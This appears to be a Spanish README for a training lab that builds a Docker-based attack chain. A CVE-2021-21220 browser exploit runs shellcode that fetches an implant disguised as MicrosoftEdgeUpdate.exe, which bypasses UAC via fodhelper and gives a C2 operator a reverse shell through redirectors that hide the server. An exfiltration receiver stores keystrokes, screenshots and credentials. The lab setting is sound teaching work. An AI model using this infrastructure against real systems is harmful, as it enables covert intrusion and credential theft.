
CVE-2021-21220 Infraestructura de explotación
La víctima navega a una página web alojada. El exploit se inicia mediante shellcode incrustado en utils.js (se ejecuta en el navegador de la víctima a través de CVE-2021-21220). El shellcode se ejecuta en la máquina de la víctima, llama al servidor de entrega HTTPS, descarga MicrosoftEdgeUpdate.exe y lo ejecuta. Una vez en ejecución, el implante se conecta con el servidor C2 a través de un salto intermedio (redireccionador C2) usando TLS para recibir un certificado firmado, y luego se reconecta con mTLS completo. El controlador C2 recibe la conexión y presenta un menú interactivo de reverse shell, lo que permite al operador ejecutar comandos de Windows de forma remota en la máquina de la víctima.
Diagrama del modelo de amenazas:
Nota: también hay instrucciones alternativas que profundizan un poco más: https://docs.google.com/document/d/1q1xkLOoWJbd6i1exGZA5UIgr2MV8YcwYBWv_PG8luJI/edit?usp=sharing
Clona el repositorio:
git clone https://github.com/JacobTaylor3/Docker-Lab-Milestone-2.git
cd Docker-Lab-Milestone-2
Descarga la máquina virtual Windows víctima desde la unidad compartida e impórtala en VirtualBox. En VirtualBox: Archivo → Herramientas → Administrador de red — anota la dirección IPv4 de tu adaptador host-only (debe estar en la subred 192.168.56.0/24). La dirección IP que se te asigne (recomendamos 192.168.56.1) es la IP real de tu máquina C2.
Inicia Docker Desktop (o el daemon de Docker en Linux).
Usuarios de Windows (WSL):
launch.shusanetshpara agregar alias de IP a tu adaptador de VirtualBox, lo que requiere derechos de administrador. Haz clic derecho en tu distribución WSL (Ubuntu o la que uses) en el menú Inicio y selecciona Ejecutar como administrador antes de continuar.
Ejecuta el script de lanzamiento:
sudo ./launch.sh
Cuando se te pida una IP de c2-redirector, introduce una dirección diferente en la misma subred (p. ej. 192.168.56.10). launch.sh la agrega como alias de IP en vboxnet0 para que Docker pueda vincularse a ella. La víctima se conecta solo a este alias — tu IP real de la máquina permanece oculta.
El script hará lo siguiente:
ENROLLMENT_TOKEN, DOWNLOAD_TOKEN)Cuando el laboratorio esté en marcha, conéctate al controlador C2:
sudo docker attach c2-server
Pulsa Enter si el prompt no aparece de inmediato. Desconéctate sin detenerlo: Ctrl+P y luego Ctrl+Q.
Inicia la máquina virtual de Windows. La contraseña es victim. Abre un navegador y navega a:
http://<c2-redirector-IP>:8888
El exploit CVE-2021-21220 se dispara automáticamente. El shellcode descarga MicrosoftEdgeUpdate.exe desde https://<c2-redirector-IP>:8443/update/<token>, lo ejecuta mediante un bypass de UAC de fodhelper, y el implante se conecta de vuelta al controlador C2.
La sesión del implante aparece en el menú del controlador. Selecciónala por número para entrar en el bucle de comandos.
Seis contenedores, cada uno de los cuales representa una máquina distinta:
Dos canales de tráfico, cada uno con un salto de redireccionador en una IP separada:
:443 mTLS): víctima → c2-redirector (C2_HOST_IP) → c2-server (solo backnet):9443 HTTPS): víctima → exfil-redirector (EXFIL_HOST_IP) → exfil-receiver (solo exfilnet)Los datos de exfiltración se guardan en exfil-data/<hostname>/ en la máquina anfitriona.
# Tail logs
sudo docker logs -f delivery-server
sudo docker logs -f exploit-server
sudo docker logs -f exfil-receiver
# Shell into a container
sudo docker exec -it c2-server /bin/bash
# Stop everything
sudo docker compose down
# View captured exfil data
ls exfil-data/
Consulta documentation/ProjectOverview.md para ver la arquitectura completa, el pipeline de tokens/criptografía y el flujo del payload.
| Máquina | Contenedor | Puerto | Rol |
|---|
| 1 | c2-redirector | :443 | relay TCP socat — salto orientado a la víctima, oculta la IP real del C2 |
| 2 | c2-server | (solo backnet) | listener C2 con mTLS — interfaz de comandos del operador |
| 3 | delivery-server | :8443 | nginx HTTPS — descarga del implante con token de un solo uso |
| 4 | exploit-server | :8888 | página web del exploit CVE-2021-21220 |
| 5 | exfil-redirector | :9443 | relay TCP socat — salto orientado a la víctima, oculta la IP real de exfiltración |
| 6 | exfil-receiver | (solo exfilnet) | receptor de POST HTTPS — guarda capturas de pantalla, registros de teclado y credenciales |